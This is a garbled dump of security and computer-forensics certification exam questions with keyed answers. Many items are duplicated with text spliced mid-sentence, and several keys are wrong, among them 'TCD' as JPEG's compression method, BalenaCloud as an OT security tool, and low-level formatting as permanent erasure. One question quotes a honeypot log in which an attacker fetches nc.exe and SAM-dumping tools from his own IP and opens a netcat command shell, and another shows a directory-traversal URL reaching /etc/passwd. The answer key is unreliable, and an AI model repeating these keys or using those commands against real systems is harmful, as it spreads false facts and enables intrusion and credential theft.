From the following spam mail header, identify the host IP that sent this spam? From [email protected] [email protected] Tue Nov 27 17:27:11 2001 Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk (8.11.6/8.11.6) with ESMTP id fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT) Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1) with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT) Message-Id: >[email protected] From: "china hotel web" To: "Shlam" Subject: SHANGHAI (HILTON HOTEL) PACKAGE Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0 X-Priority: 3 X-MSMail- Priority: Normal - Reply-To: "china hotel web" 203.218.39.50 8.12.1.0 203.218.39.20 137.189.96.52
203.218.39.20
In Linux, what is the smallest possible shellcode? 8 bytes 80 bytes 24 bytes 800 bytes
24 bytes
In a FAT32 system, a 123 KB file will use how many sectors? 25 246 56 34
246
You are working in the Security Department of a law firm. One of the attorneys asks you about the of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is a possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server?fake email to the attorney that appears to come from his boss. What port do you send the email to on the company? SMTP server? 110 135 10 25
25
You are working in the Security Department of a law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is a possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server? 135 25 10 110
25
How many characters long is the fixed-length MD5 algorithm checksum of a critical system file? 16 48 32 64
32
You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab? 8 2 4 1
4
How many possible sequence number combinations are there in TCP/IP protocol? 4 billion 32 million 1 billion 320 billion
4 billion
MAC filtering is a security access control methodology, where a ___________ is assigned to each network card to determine access to the network 16-bit address 24-bit address 32-bit address 48-bit address
48-bit address
Sectors in hard disks typically contain how many bytes? 512 256 2048 1024
512
Which wireless standard has bandwidth up to 54 Mbps and signals in a regulated frequency spectrum around 5 GHz? 802.11g 802.11b 802.11a 802.11i
802.11a
The newer Macintosh Operating System (MacOS X) is based on: OS/2 Microsoft Windows BSD Unix Linux
BSD Unix
What will the following command accomplish? dd if=/dev/xxx of=mbr.backup bs=512 count=1 Mount the master boot record on the first partition of the hard drive Back up the master boot record Restore the master boot record Restore the first 512 bytes of the first partition of the hard drive
Back up the master boot record
An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware. Which of the following tools must the organization employ to protect its critical infrastructure? Robotium BalenaCloud Flowmon IntentFuzzer
BalenaCloud
Why is it a good idea to perform a penetration test from the inside? To attack a network from a hacker's perspective Because 70% of attacks are from inside the organization It is easier to hack from the inside It is never a good idea to perform a penetration test from the inside
Because 70% of attacks are from inside the organization
When should an MD5 hash check be performed when processing evidence? On an hourly basis during the evidence examination Before and after evidence examination Before the evidence examination has been completed After the evidence examination has been completed
Before and after evidence examination
What method of copying should always be performed first before carrying out an investigation? Parity-bit copy System level copy MS-DOS disc copy Bit-stream copy
Bit-stream copy
You are working as an independent computer forensics investigator and receive a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a implePC in the Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a ?imple backup copy?of the hard drive in the PC and put it on this drive and requests that you examine the drive for evidence of the suspected images. You inform him that a imple backup copy?will not provide deleted files or recover file fragments. What type of copy do you need to make toYou inform him that a ?imple backup copy?will not provide deleted files or recover file fragments. What type of copy do you need to make to ensure hat the evidence found is complete and admissible in future proceedings? Incremental backup copy Robust copy Bit-stream copy Full backup copy
Bit-stream copy
All Blackberry email is eventually sent and received through what proprietary RIM-operated mechanism? Blackberry Message Center Blackberry WEP gateway Blackberry WAP gateway Microsoft Exchange
Blackberry Message Center
Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks. What is the tool employed by Gerard in the above scenario? Towelroot Knative zANTI Bluto
Bluto
While working for a prosecutor, What do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense ? Present the evidence to the defense attorney Keep the information of file for later review Destroy the evidence Bring the information to the attention of the prosecutor, his or her supervisor or finally to the judge
Bring the information to the attention of the prosecutor, his or her supervisor or finally to the judge
Wireless network discovery tools use two different methodologies to detect, monitor and log a WLAN device (i.e. active scanning and passive scanning). Active scanning methodology involves____________and waiting for responses from available wireless networks. Sniffing the packets from the airwave Broadcasting a probe request frame Scanning the network Inspecting WLAN and surrounding networks
Broadcasting a probe request frame
You are called in to assist the police in an investigation involving a suspected drug dealer. The policesearched the suspect house after a warrant was obtained and they located a floppy disk in the suspect bedroom. The disk contains several files, but they appear to be password protected.What are two common methods used by password cracking software that you could use to obtain the password?A. Limited force and library attackB.Brute force and dictionary attack C. Maximum force and thesaurus attackD. Minimum force and appendix attack46. Minimum force and appendix attack46. Maximum force and thesaurus attack Limited force and library attack Brute force and dictionary attack
Brute force and dictionary attack
You are called in to assist the police in an investigation involving a suspected drug dealer.The police searched the suspect house after aYou are called in to assist the police in an investigation involving a suspected drug dealer. The police searched the suspect? house after a warrant was obtained and they located a floppy disk in the suspect bedroom. The disk contains several files, but they appear to be passwordwarrant was obtained and they located a floppy disk in the suspect? bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you could use to obtain the password? Minimum force and appendix attack Brute force and dictionary attack Maximum force and thesaurus attack Limited force and library attack
Brute force and dictionary attack
What is a SCSI (Small Computer System Interface)? A point-to-point serial bi-directional interface for transmitting data between computer devices at data rates of up to 4 Gbps A "plug-and-play" interface, which allows a device to be added without an adapter card and without rebooting the computer A set of ANSI standard electronic interfaces that allow personal computers to communicate with peripheral hardware such as disk drives, tape drives. CD-ROM drives, printers, and scanners A standard electronic interface used between a computer motherboard's data paths or bus and the computer's disk storage devices
A set of ANSI standard electronic interfaces that allow personal computers to communicate with peripheral hardware such as disk drives, tape drives. CD-ROM drives, printers, and scanners
Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system. What would be the primary reason for you to recommend a disk imaging tool? There is no case for an imaging tool as it will use a closed, proprietary format that if compared to the original will not match up sector for sector A simple DOS copy will not include deleted files, file slack and other information Evidence file format will contain case data entered by the examiner and encrypted at the beginning of the evidence file A disk imaging tool would check for CRC32s for internal self checking and validation and have MD5 checksum
A simple DOS copy will not include deleted files, file slack and other information
What is the first step that needs to be carried out to crack the password? If it matches, that password has been cracked and the password cracker displays the unencrypted version of the password The list of dictionary words is hashed or encrypted The hashed wordlist is compared against the target hashed password, generally one word at a time A word list is created using a dictionary generator program or dictionaries
A word list is created using a dictionary generator program or dictionaries
Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed. What is the port scanning technique used by Sam to discover open ports? Xmas scan IDLE/IPID header scan TCP Maimon scan ACK flag probe scan
ACK flag probe scan
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network. Which of the following host discovery techniques must he use to perform the given task? UDP scan ARP ping scan ACK flag probe scan TCP Maimon scan
ARP ping scan
One way to identify the presence of hidden partitions on a suspect hard drive is to: Examine the LILO and note an ?in the partition Type It is not possible to have hidden partitions on a hard drive Add up the total size of all known partitions and compare it to the total size of the hard drive Examine the FAT and identify hidden partitions by noting an ? in the partition Type field
Add up the total size of all known partitions and compare it to the total size of the hard drive
The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful.(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 From the options given below choose the one which best interprets the following entry: Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Data being retrieved from 63.226.81.13 A buffer overflow attempt A DNS zone transfer An IDS evasion technique
An IDS evasion technique
A mobile operating system is the operating system that operates a mobile device like a mobile phone, smartphone, PDA, etc. It determines the functions and features available on mobile devices such as keyboards, applications, email, text messaging, etc. Which of the following mobile operating systems is free and open source? Web OS Android Apple IOS Symbian OS
Android
Which of the following statements is incorrect related to acquiring electronic evidence at crime scene? At the time of seizing process, you need to shut down the computer immediately Sample banners are used to record the system activities when used by the unauthorized user In warning banners, organizations give clear and unequivocal notice to intruders that by signing onto the system they are expressly consenting to such monitoring The equipment is seized which is connected to the case, knowing the role of the computer which will indicate what should be taken
At the time of seizing process, you need to shut down the computer immediately
Which of the following approaches checks and compares all the fields systematically and intentionally for positive and negative correlation with each other to determine the correlation across one or multiple fields? Automated field correlation approach Graph-based approach Neural network-based approach Rule-based approach
Automated field correlation approach
When setting up a wireless network with multiple access points, why is it important to set each access point on a different channel? Avoid over-saturation of wireless signals So that the access points will work on different requencies Multiple access points can be set up on the same channel without any issues Avoid cross talk
Avoid cross talk
Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider. In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario? Cloud consumer Cloud broker Cloud auditor Cloud carrier
Cloud carrier
What TCP/UDP port does the toolkit program netstat use? Port 23 Port 69 Port 7 Port 15
Port 15
Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events? Connect the target media; Delete the system for acquisition; Secure the evidence; Copy the media Secure the evidence; Prepare the system for acquisition; Connect the target media; Copy the media Connect the target media; Prepare the system for acquisition; Secure the evidence; Copy the media Prepare the system for acquisition; Connect the target media; Copy the media; Secure the evidence
Prepare the system for acquisition; Connect the target media; Copy the media; Secure the evidence
When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to _________ Automate collection from image files Avoiding copying data from the boot partition Acquire data from the host-protected area on a disk Prevent contamination to the evidence drive
Prevent contamination to the evidence drive
A law enforcement officer may only search for and seize criminal evidence with _______________________, which are facts or circumstances that would lead a reasonable person to believe a crime has been committed or is about to be committed, evidence of the specific crime exists and the evidence of the specific crime exists at the place to be searched. A preponderance of the evidence Mere Suspicion Beyond a reasonable doubt Probable cause
Probable cause
When a file or folder is deleted, the complete path, including the original file name, is stored in a special hidden file called "INF02" in the Recycled folder. If the INF02 file is deleted, it is re-created when you___________. Run the antivirus tool on the system Run the anti-spyware tool on the system Restart Windows Kill the running processes in Windows task manager
Restart Windows
Using Linux to carry out a forensics investigation, what would the following command accomplish? dd if=/usr/home/partition.image of=/dev/sdb2 bs=4096 conv=notrunc,noerror Search for disk errors within an image file Restore a disk from an image file Backup a disk to an image file Copy a partition to an image file
Restore a disk from an image file
The use of warning banners helps a company avoid litigation by overcoming an employees assumed _________ when connecting to the company intranet, network, or virtual private network (VPN) and will allow the company investigators to monitor, search, and retrievecompany? intranet, network, or virtual private network (VPN) and will allow the company? investigators to monitor, search, and retrieve information stored within the network. Right to work Right of free speech Right of privacy Right to Internet access
Right of privacy
What type of attack sends SYN requests to a target system with spoofed IP addresses? SYN flood Ping of death Cross site scripting Land
SYN flood
What should you do when approached by a reporter about a case that you are working on or have worked on? Refer the reporter to the attorney that retained you Say, no comment Answer only the questions that help your case Answer all the reporter questions as completely as possible
Say, no comment
With regard to using an antivirus scanner during a computer forensics investigation, you should: Never run a scan on your forensics workstation because it could change your system configuration Scan the suspect hard drive before beginning an investigation Scan your forensics workstation at intervals of no more than once every five minutes during an investigation Scan your forensics workstation before beginning an investigation
Scan your forensics workstation before beginning an investigation
With regard to using an antivirus scanner during a computer forensics investigation, you should: Scan your forensics workstation before beginning an investigation Never run a scan on your forensics workstation because it could change your system configurationNever run a scan on your forensics workstation because it could change your system? configuration Scan the suspect hard drive before beginning an investigation Scan your forensics workstation at intervals of no more than once every five minutes during an investigation
Scan your forensics workstation before beginning an investigation
When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected. Overzealous marketing Unauthorized expenses Hard Drive Failure Scope Creep
Scope Creep
Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime? Search warrant Wire tap Bench warrant Subpoena
Search warrant
Which legal document allows law enforcement to search an office, place of business, or other locale forevidence relating to an alleged crime? Wire tap Search warrant Bench warrant. Subpoena
Search warrant
A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended? Searching for evidence themselves would not have any ill effects Searching creates cache files, which would hinder the investigation Searching could possibly crash the machine or device Searching can change date/time stamps
Searching can change date/time stamps
A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended? Searching creates cache files, which would hinder the investigation Searching can change date/time stamps Searching for evidence themselves would not have any ill effects Searching could possibly crash the machine or device
Searching can change date/time stamps
What is the first step taken in an investigation for laboratory forensic staff members? Packaging the electronic evidence Transporting the electronic evidence Securing and evaluating the electronic crime scene Conducting preliminary interviews
Securing and evaluating the electronic crime scene
On Linux/Unix based Web servers, what privilege should the daemon service be run under? Something other than root Guest You cannot determine what privilege runs the daemon service Root
Something other than root
Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures. What technique did the accused criminal employ? Picture encoding Steganography Typography Steganalysis
Steganography
Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures. What technique did the accused criminal employ? Steganography Picture encoding Steganalysis Typography
Steganography
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer? Offset Steganography Rootkit Key escrow
Steganography
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer? Rootkit Key escrow Offset Steganography
Steganography
Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed them and that management did nothing to stop the problem. Davidson has employee policies that outline all company guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court, whom should the prosecuting attorney call upon for not upholding company policy? Supervisors Employees themselves Administrative assistant in charge of writing policies IT personnel
Supervisors
What technique is used by JPEGs for compression? DCT ZIP TCD TIFF-8
TCD
SMTP (Simple Mail Transfer protocol) receives outgoing mail from clients and validates source and destination addresses, and also sends and receives emails to and from other SMTP servers. FALSE TRUE
TRUE
Paul's company is in the process of undergoing a complete security audit including logical and physical security testing. After all logical tests were performed; it is now time for the physical round to begin. None of the employees are made aware of this round of testing. The security-auditing firm sends in a technician dressed as an electrician. He waits outside in the lobby for some employees to get to work and follows behind them when they access the restricted areas. After entering the main office, he is able to get into the server room telling the IT manager that there is a problem with the outlets in that room. What type of attack has the technician performed? Backtrapping Fuzzing Tailgating Man trap attack
Tailgating
What will the following command accomplish? C:\> nmap -v -sS -Po 172.16.28.251 - data_length 66000 - packet_trace Test the ability of a WLAN to handle fragmented packets Test the ability of a router to handle under-sized packets Test the ability of a router to handle fragmented packets Test ability of a router to handle over-sized packets
Test ability of a router to handle over-sized packets
The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data? The CFO can use a hash algorithm in the document once he approved the financial statements The CFO can use an excel file with a password The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the samedocument The document can be sent to the accountant using an exclusive USB for that document
The CFO can use a hash algorithm in the document once he approved the financial statements
You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message? The E-mail Header The SMTP reply Address The Host Domain Name The X509 Address
The E-mail Header
A forensics investigator is searching the hard drive of a computer for files that were recently moved to theRecycle Bin.He searches for files in C:\RECYCLED using a command line tool but does not find anything.What is the reason for this? Only FAT system contains RECYCLED folder and not NTFS. The Recycle Bin does not exist on the hard drive C:\Windows\System32\RECYCLED folder The files are hidden and he must use switch to view them
The Recycle Bin does not exist on the hard drive
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given? The attack is a remote exploit and the hacker downloads three files There are two attackers on the system â€" johna2k and haxedj00 The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port It is a local exploit where the attacker logs in using username johna2k
The attack is a remote exploit and the hacker downloads three files
You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacturer. While at the corporate office of the company, the CEO demands to know the status of the investigation. What prevents you from discussing the case with the CEO? The attorney-work-product rule Trade secrets Good manners ISO 17799
The attorney-work-product rule
Attackers can manipulate variables that reference files with "dot-dot-slash (./)" sequences and their variations such as http://www.juggyDoy.corn/GET/process.php./././././././././etc/passwd.Identify the attack referred. XSS attack SQL Injection Directory traversal File injection
Directory traversal
Which of the following attacks allows an attacker to access restricted directories, including application source code, configuration and critical system files, and to execute commands outside of the web server's root directory? Directory traversal Security misconfiguration Unvalidated input Parameter/form tampering
Directory traversal
In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it. How do you accomplish this? Delete the wireless network Lock all users Disable SSID broadcasting Remove all passwords
Disable SSID broadcasting
You are running through a series of tests on your network to check for any security vulnerabilities. After normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your internal network. The connection is successful even though you have FTP blocked at the external firewall. What has happened? The firewall ACL has been purged The firewall failed-bypass The firewall failed-open The firewall failed-closed
The firewall failed-open
Email spoofing refers to: The forgery of an email header so that the message appears to have originated from someone or somewhere other than the actual source A sudden spike of "Reply All" messages on an email distribution list, caused by one misdirected message The criminal act of sending an illegitimate email, falsely claiming to be from a legitimate site in an attempt to acquire the user's personal or account information Sending huge volumes of email to an address in an attempt to overflow the mailbox or overwhelm the server where the email address Is hosted to cause a denial-of-service attack
The forgery of an email header so that the message appears to have originated from someone or somewhere other than the actual source
You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published? The life of the author plus 70 years The life of the author 70 years Copyrights last forever
The life of the author plus 70 years
When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnndenote? The year the evidence was taken The sequential number of the exhibits seized The sequence number for the parts of the same exhibit The initials of the forensics analyst
The sequential number of the exhibits seized
When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz?format, what does the nnn?denote?When marking evidence that has been collected with the?aa/ddmmyy/nnnn/zz?format, what does the ?nnn?denote? The sequential number of the exhibits seized The year the evidence was taken The initials of the forensics analyst The sequence number for the parts of the same exhibit
The sequential number of the exhibits seized
You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer but have found no evidence. You suspect the files may not have been saved. What should you examine next in this case? The metadata The registry The recycle bin The swapfile
The swapfile
Files stored in the Recycle Bin in its physical location are renamed as Dxy.ext, where, X represents the _________. Sequential number Original file name's extension Drive name Original file name
Drive name
Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario? Diversion theft Quid pro quo Elicitation Phishing
Elicitation
You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printed out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect. Email Header Configuration files Routing Table Firewall log
Email Header
Which type of virus can change its own code and then cipher itself multiple times as it replicates? Stealth virus Tunneling virus Cavity virus Encryption virus
Encryption virus
Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected? Point-to-point Complete event analysis Thorough End-to-end
End-to-end
Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it. Which of the following tools did Bob employ to gather the above information? FCC ID search Google image search search.com EarthExplorer
FCC ID search
When searching through file headers for picture file formats, what should be searched to find a JPEG file in hexadecimal format? EF 00 EF 00 EF 00 FF D8 FF E0 00 10 FF 00 FF 00 FF 00 FF FF FF FF FF FF
FF D8 FF E0 00 10
Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test. The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis? False negatives False positives True positives True negatives
False negatives
When an investigator contacts by telephone the domain administrator or controller listed by a whois lookup to request all e-mails sent and received for a user account be preserved, what U.S.C. statute authorizes this phone call and obligates the ISP to preserve e-mail records? Title 18, Section 2703(f) Title 18, Section 2703(d) Title 18, Section 1030 Title 18, Section Chapter 90
Title 18, Section 2703(f)
You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case. How would you permanently erase the data on the hard disk? Format the hard disk multiple times using a low level disk utility *Throw the hard disk into the fire Run the powerful magnets over the hard disk Overwrite the contents of the hard disk with Junk data
Format the hard disk multiple times using a low level disk utility
A packet is sent to a router that does not have the packet destination address in its route table, how will the packet get to its properA packet is sent to a router that does not have the packet? destination address in its route table, how will the packet get to its proper destination? Root Internet servers Reverse DNS Border Gateway Protocol Gateway of last resort
Gateway of last resort
The objective of this act was to protect consumers personal financial information held by financial institutions and their service providers. Sarbanes-Oxley 2002 California SB 1386 HIPAA Gramm-Leach-Bliley Act
Gramm-Leach-Bliley Act
Heather, a computer forensics investigator, is assisting a group of investigators working on a large computer fraud case involving over 20 people. These 20 people, working in different offices, allegedly siphoned off money from many different client accounts. Heather responsibility is to find out how the accused people communicated between each other. She has searched their email and their computers and has not found any useful evidence. Heather then finds some possibly useful evidence under the desk of one of the accused .In an envelope she finds a piece of plastic with numerous holes cut out of it. Heather then finds the same exact piece of plastic with holes at many of the other accused peoples desks. Heather believes that the 20 people involved in the case were using a cipher to send secret messages in between each other. What type of cipher was used by the accused in this case? Grill cipher Visual semagram29. Text semagram Null cipher
Grill cipher
Which root folder (hive) of registry editor contains a vast array of configuration information for the system, including hardware settings and software settings? HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY-CURRENT_CONFIG
HKEY_LOCAL_MACHINE
Microsoft Security IDs are available in Windows Registry Editor. The path to locate IDs in Windows 7 is: HKEY_LOCAL_MACHlNE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \NetworkList HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentsVersion \setup HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion \ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion \ProfileList
You can interact with the Registry through intermediate programs. Graphical user interface (GUI) Registry editors such as Regedit.exe or Regedt32 exe are commonly used as intermediate programs in Windows 7. Which of the following is a root folder of the registry editor? HKEY_CLASSES_ADMIN HKEY_USERS HKEY_CLASSES_SYSTEM HKEY_LOCAL_ADMIN
HKEY_USERS
You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the following URL that includes the IP address of one of the routers: http://172.168.4.131/level/99/exec/show/config After typing in this URL you are presented with the entire configuration file for that router. What have you discovered? HTTP Configuration Arbitrary Administrative Access Vulnerability HTML Configuration Arbitrary Administrative Access Vulnerability URL Obfuscation Arbitrary Administrative Access Vulnerability Cisco IOS Arbitrary Administrative Access Online Vulnerability
HTTP Configuration Arbitrary Administrative Access Vulnerability
John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize a computer at a local web caf?John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize a computer at a local web caf purportedly used as a botnet server. John thoroughly scans the computer and finds nothing that would lead him to think the computer was a botnet server. John decides to scan the virtual memory of the computer to possibly find something he had missed. What information will the virtual memory scan produce? It contains the times and dates of when the system was last patched It contains the times and dates of all the system files Hidden running processes It is not necessary to scan the virtual memory of a computer
Hidden running processes
John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize acomputer at a local web café. John thoroughly scans the computer and finds nothing that would lead him to think the computer was a botnet server. John decides to scan the virtual memory of the computer to possibly find something he had missed. What information will the virtual memory scan produce? It is not necessary to scan the virtual memory of a computer Hidden running processes It contains the times and dates of all the system files It contains the times and dates of when the system was last patched
Hidden running processes
John (assume that John is not the Administrator) and Hillary works at the same department in the company. John wants to find out Hillary's network password so he can take a look at her documents on the file server. He enables Lophtcrack program to sniffing mode. John sends Hillary an email with a link to Error! Reference source not found. What information will he be able to gather from this? The SAM file from Hillary computer The SID of Hillary network account The network shares that Hillary has permissions Hillary network username and password hash
Hillary network username and password hash
To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time. Which technique is discussed here? Subnet scanning technique Permutation scanning technique Hit-list scanning technique. Topological scanning technique
Hit-list scanning technique.
Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker? Botnet Intrusion detection system Firewall Honeypot
Honeypot
Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white- collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subjectJulie? paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America. What crime should Julie focus on? Industrial espionage Denial of Service attacks Physical theft Copyright infringement
Industrial espionage
